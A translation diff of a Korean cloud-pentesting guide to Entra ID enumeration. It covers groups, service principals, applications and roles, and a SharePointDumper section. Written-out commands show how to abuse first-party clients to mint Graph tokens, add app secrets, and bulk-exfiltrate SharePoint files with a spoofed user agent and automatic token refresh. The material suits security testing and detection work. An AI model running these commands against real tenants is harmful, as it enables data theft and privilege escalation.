올바르게 구성되지 않으면 **bypasses**에 취약할 수 있습니다. 확인해 보세요: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### 그룹 +### Groups Entra ID 그룹에 대한 자세한 정보는 다음을 확인하세요: @@ -485,12 +483,12 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * #### 그룹에 사용자 추가 -그룹의 소유자는 새 사용자를 그룹에 추가할 수 있습니다 +그룹 소유자는 그룹에 새 사용자를 추가할 수 있습니다. ```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> 그룹은 동적일 수 있으며, 이는 기본적으로 **사용자가 특정 조건을 충족하면 그룹에 추가된다는 의미입니다**. 물론 그 조건들이 **사용자가 제어할 수 있는 속성**에 기반한다면, 사용자는 이 기능을 악용해 **다른 그룹에 들어갈 수 있습니다**.\ +> 그룹은 동적일 수 있으며, 이는 기본적으로 **사용자가 특정 조건을 충족하면 그룹에 추가된다**는 뜻입니다. 물론, 조건이 **사용자가 제어할 수 있는 속성**에 기반한다면, 사용자는 이 기능을 악용해 **다른 그룹에 들어갈 수 있습니다**.\ > 동적 그룹을 악용하는 방법은 다음 페이지를 확인하세요: {{#ref}} @@ -499,7 +497,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ### Service Principals -For more information about Entra ID service principals check: +Entra ID service principals에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} ../az-basic-information/ @@ -600,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtabs }} > [!WARNING] -> Service Principal의 Owner는 해당 비밀번호를 변경할 수 있습니다. +> Service Principal의 소유자(Owner)는 비밀번호를 변경할 수 있습니다.
-각 Enterprise App에서 client secret을 나열하고 추가를 시도하세요 +각 Enterprise App에서 client secret을 나열하고 추가해 보세요 ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -711,16 +709,16 @@ Write-Output "Failed to Enumerate the Applications." ### 애플리케이션 -애플리케이션에 대한 자세한 내용은 다음을 확인하세요: +애플리케이션에 대한 자세한 정보는 다음을 확인하세요: {{#ref}} ../az-basic-information/ {{#endref}} -앱이 생성될 때 2가지 유형의 권한이 부여됩니다: +App가 생성될 때 두 가지 유형의 권한이 부여됩니다: -- **권한**이 **Service Principal**에 부여됩니다 -- **권한**을 **앱**이 **사용자를 대신하여** 가질 수 있고 사용할 수 있습니다. +- **Permissions**가 **Service Principal**에게 부여됩니다. +- **app**가 사용자 대신 사용할 수 있는 **Permissions**. {{#tabs }} {{#tab name="az cli" }} @@ -773,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ``` +
+비-Microsoft API에 대한 API 권한을 가진 모든 애플리케이션 찾기 (az cli) +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Known Microsoft first-party owner organization IDs. +MICROSOFT_OWNER_ORG_IDS=( +"f8cdef31-a31e-4b4a-93e4-5f571e91255a" +"72f988bf-86f1-41af-91ab-2d7cd011db47" +) + +is_microsoft_owner() { +local owner="$1" +local id +for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do +if [ "$owner" = "$id" ]; then +return 0 +fi +done +return 1 +} + +command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } +command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } +az account show >/dev/null + +apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)" + +tmp_map="$(mktemp)" +tmp_ids="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT + +# Build unique resourceAppId values used by applications. +jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" + +# Resolve resourceAppId -> owner organization + API display name. +while IFS= read -r rid; do +[ -n "$rid" ] || continue +sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)" +owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")" +name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" +printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" +done < "$tmp_ids" + +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" + +# Print only app permissions where the target API is NOT Microsoft-owned. +while IFS= read -r row; do +app_name="$(jq -r '.[0]' <<<"$row")" +app_id="$(jq -r '.[1]' <<<"$row")" + +while IFS= read -r rra; do +resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")" +map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")" +owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")" +resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" + +[ -n "$owner_org" ] || owner_org="UNKNOWN" +[ -n "$resource_name" ] || resource_name="UNKNOWN" + +if is_microsoft_owner "$owner_org"; then +continue +fi + +while IFS= read -r access; do +perm_type="$(jq -r '.type' <<<"$access")" +perm_id="$(jq -r '.id' <<<"$access")" +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +done < <(jq -c '.resourceAccess[]' <<<"$rra") +done < <(jq -c '.[2][]' <<<"$row") +done < <(jq -c '.[]' <<<"$apps_json") +``` +
+ {{#endtab }} {{#tab name="Az" }} @@ -822,21 +895,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> 권한 **`AppRoleAssignment.ReadWrite`**를 가진 앱은 역할을 자체적으로 부여하여 **Global Admin**으로 권한 상승할 수 있습니다.\ -> 자세한 내용은 [**여기**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)를 참조하세요. +> 권한 **`AppRoleAssignment.ReadWrite`** 를 가진 앱은 스스로 역할을 부여하여 **Global Admin**으로 권한 상승할 수 있습니다.\ +> 자세한 내용은 [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48)을 확인하세요. > [!NOTE] -> 애플리케이션이 토큰을 요청할 때 자신의 신원을 증명하기 위해 사용하는 비밀 문자열이 바로 application password입니다.\ -> 따라서 이 **password**를 찾으면 해당 **tenant** **내부에서** **service principal**로 접근할 수 있습니다.\ -> 이 password는 생성될 때만 표시된다는 점을 유의하세요(변경은 가능하지만 다시 확인할 수 없습니다).\ -> 해당 **application**의 **owner**는 여기에 **add a password**를 할 수 있습니다(즉, 이를 가장할 수 있습니다).\ -> 이러한 service principal로의 로그인은 **not marked as risky**로 표시되지 않으며 **won't have MFA.** +> 애플리케이션이 토큰을 요청할 때 자신의 신원을 증명하기 위해 사용하는 비밀 문자열은 application password입니다.\ +> 따라서 이 **password**를 찾으면 해당 **tenant** **내부**에서 **service principal**로 접근할 수 있습니다.\ +> 이 password는 생성될 때에만 볼 수 있다는 점(변경은 가능하지만 다시 가져올 수 없음)을 참고하세요.\ +> **application**의 **owner**는 해당 애플리케이션에 **password**를 추가할 수 있습니다(이를 통해 애플리케이션을 가장할 수 있습니다).\ +> 이러한 service principal로의 로그인은 **위험(risky)**으로 표시되지 않으며 **MFA**가 적용되지 않습니다. -Microsoft에 속한 일반적으로 사용되는 App ID 목록은 다음에서 확인할 수 있습니다: [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) +Microsoft에 속한 일반적으로 사용되는 App IDs 목록은 다음에서 확인할 수 있습니다: [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### Managed Identities -Managed Identities에 관한 더 자세한 정보는 다음을 확인하세요: +For more information about Managed Identities check: {{#ref}} ../az-basic-information/ @@ -939,7 +1012,7 @@ Headers = @{ {{#endtab }} {{#endtabs }} -### Entra ID 역할 +### Entra ID Roles Azure 역할에 대한 자세한 정보는 다음을 확인하세요: @@ -1062,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtabs }} > [!WARNING] -> 장치(VM)가 **AzureAD joined** 되어 있으면, AzureAD의 사용자는 **로그인할 수 있습니다**.\ -> 또한, 로그인한 사용자가 해당 장치의 **Owner** 라면, 그는 **local admin** 권한을 갖게 됩니다. +> 디바이스 (VM)가 **AzureAD joined** 상태라면, AzureAD의 사용자는 **로그인할 수 있습니다**.\ +> 또한, 로그인한 사용자가 해당 디바이스의 **Owner**라면, 그는 **local admin** 권한을 갖게 됩니다. ### 관리 단위 @@ -1102,13 +1175,13 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members {{#endtab }} {{#endtabs }} -## Microsoft Graph 위임된 SharePoint 데이터 유출 (SharePointDumper) +## Microsoft Graph 위임형 SharePoint 데이터 유출 (SharePointDumper) -Sites.Read.All 또는 Sites.ReadWrite.All을 포함하는 **위임된 Microsoft Graph 토큰**을 가진 공격자는 Graph를 통해 **sites/drives/items**를 열거한 다음 **SharePoint pre-authentication download URLs**(액세스 토큰을 포함하는 시간 제한 URL)을 통해 파일 내용을 가져올 수 있습니다. [SharePointDumper](https://github.com/zh54321/SharePointDumper) 스크립트는 전체 흐름(열거 → pre-auth 다운로드)을 자동화하고, 탐지 테스트용으로 요청별 텔레메트리를 출력합니다. +공격자는 **`Sites.Read.All`** 또는 **`Sites.ReadWrite.All`** 권한이 포함된 **위임된 Microsoft Graph 토큰**을 가지고 있으면 Graph를 통해 **sites/drives/items**를 열거한 다음, 액세스 토큰이 포함된 시간 제한 URL인 **SharePoint pre-authentication download URLs**를 통해 파일 내용을 가져올 수 있습니다. [SharePointDumper](https://github.com/zh54321/SharePointDumper) 스크립트는 전체 흐름(열거 → pre-auth downloads)을 자동화하고 탐지 테스트를 위해 요청별 텔레메트리를 출력합니다. -### 사용 가능한 위임된 토큰 획득 +### 사용 가능한 위임 토큰 획득 -- SharePointDumper 자체는 **인증을 수행하지 않습니다**; access token(선택적으로 refresh token)을 제공하세요. +- SharePointDumper 자체는 **인증을 수행하지 않습니다**; 액세스 토큰(선택적으로 refresh token)을 제공해야 합니다. - 사전 동의된 **first-party clients**는 앱 등록 없이 Graph 토큰을 발급(mint)하는 데 악용될 수 있습니다. 예시 `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) 호출: ```powershell # CAE requested by default; yields long-lived (~24h) access token @@ -1122,23 +1195,23 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE) ``` > [!NOTE] -> FOCI TRUE 클라이언트는 디바이스 간에 refresh를 지원합니다; FOCI FALSE 클라이언트는 종종 reply URL origin validation을 만족시키기 위해 `-Origin`이 필요합니다. +> FOCI TRUE clients는 디바이스 간 refresh를 지원합니다; FOCI FALSE clients는 종종 reply URL origin validation을 만족시키기 위해 `-Origin`이 필요합니다. -### SharePointDumper 실행 (enumeration + exfiltration) +### enumeration + exfiltration을 위한 SharePointDumper 실행 -- 기본 dump with custom UA / proxy / throttling: +- 기본 dump (custom UA / proxy / throttling 사용): ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080' ``` -- 범위 제어: 사이트 또는 확장 포함/제외 및 전역 제한: +- 범위 제어: 사이트 또는 확장 포함/제외 및 전역 한도: ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100 ``` -- **재개** 중단된 실행을 재개합니다 (다시 열거하지만 다운로드된 항목은 건너뜁니다): +- **재개** 중단된 실행(다시 열거하지만 다운로드된 항목은 건너뜁니다): ```powershell .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant ``` -- **HTTP 401에서 token 자동 갱신** (EntraTokenAid가 로드되어 있어야 함): +- **자동 token 갱신 (HTTP 401 시)** (EntraTokenAid가 로드되어 있어야 함): ```powershell Import-Module ./EntraTokenAid/EntraTokenAid.psm1 .\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74' @@ -1165,29 +1238,29 @@ Operational notes: ### Privileged Identity Management (PIM) -Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily. +Azure의 Privileged Identity Management(PIM)는 사용자에게 불필요하게 과도한 권한이 할당되는 것을 **방지**하는 데 도움을 줍니다. -One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\ -Note that the user will also be able to ask to **extend** the time. +PIM이 제공하는 주요 기능 중 하나는 역할을 항상 활성화된 상태로 할당하지 않고, 대신 특정 기간 동안 **eligible(예: 6개월)** 상태로 만드는 것입니다. 사용자가 그 역할을 활성화하려면 필요 기간(예: 3시간)을 명시하여 요청해야 하며, 그 요청은 **관리자 승인이 필요**합니다.\ +사용자는 요청한 시간을 **연장**할 수도 있습니다. -Moreover, **PIM send emails** whenever a privileged role is being assigned to someone. +또한, **PIM은 권한 있는 역할이 누구에게 할당될 때마다 이메일을 전송**합니다.
-When PIM is enabled it's possible to configure each role with certain requirements like: +PIM이 활성화되면 각 역할에 대해 다음과 같은 요구사항을 구성할 수 있습니다: -- Maximum duration (hours) of activation -- Require MFA on activation -- Require Conditional Access acuthenticaiton context -- Require justification on activation -- Require ticket information on activation -- Require approval to activate -- Max time to expire the elegible assignments -- A lot more configuration on when and who to send notifications when certain actions happen with that role +- 활성화 최대 지속 시간(시간) +- 활성화 시 MFA 요구 +- Conditional Access 인증 컨텍스트 요구 +- 활성화 시 정당성 요구 +- 활성화 시 티켓 정보 요구 +- 활성화 승인 요구 +- eligible 할당의 만료 최대 시간 +- 해당 역할과 관련된 특정 동작이 발생할 때 누가 언제 알림을 받을지에 대한 다양한 추가 구성 ### Conditional Access Policies -확인: +Check: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -1195,23 +1268,23 @@ When PIM is enabled it's possible to configure each role with certain requiremen ### Entra Identity Protection -Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt. +Entra Identity Protection은 사용자의 로그인 시도가 수용하기에 **너무 위험한지 감지**하고, 위험한 경우 해당 사용자나 로그인 시도를 **차단**할 수 있도록 하는 보안 서비스입니다. -It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**: +관리자는 위험 수준이 "Low and above", "Medium and above" 또는 "High"일 때 시도를 **차단**하도록 구성할 수 있습니다. 다만 기본적으로는 완전히 **비활성화**되어 있습니다:
> [!TIP] -> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options. +> 요즘에는 가능한 경우 동일한 옵션을 구성할 수 있는 Conditional Access 정책을 통해 이러한 제한을 추가하는 것이 권장됩니다. ### Entra Password Protection -Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\ -It also allows to **ban a custom password list** that you need to provide. +Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 은 여러 번의 로그인 실패가 발생할 때 계정을 잠금으로써 **약한 비밀번호의 남용을 방지**하는 보안 기능입니다.\ +또한 관리자가 제공하는 **커스텀 비밀번호 목록을 차단**하도록 설정할 수 있습니다. -It can be **applied both** at the cloud level and on-premises Active Directory. +이 기능은 클라우드 수준과 온프레미스 Active Directory 모두에 **적용**할 수 있습니다. -The default mode is **Audit**: +기본 모드는 **Audit**입니다: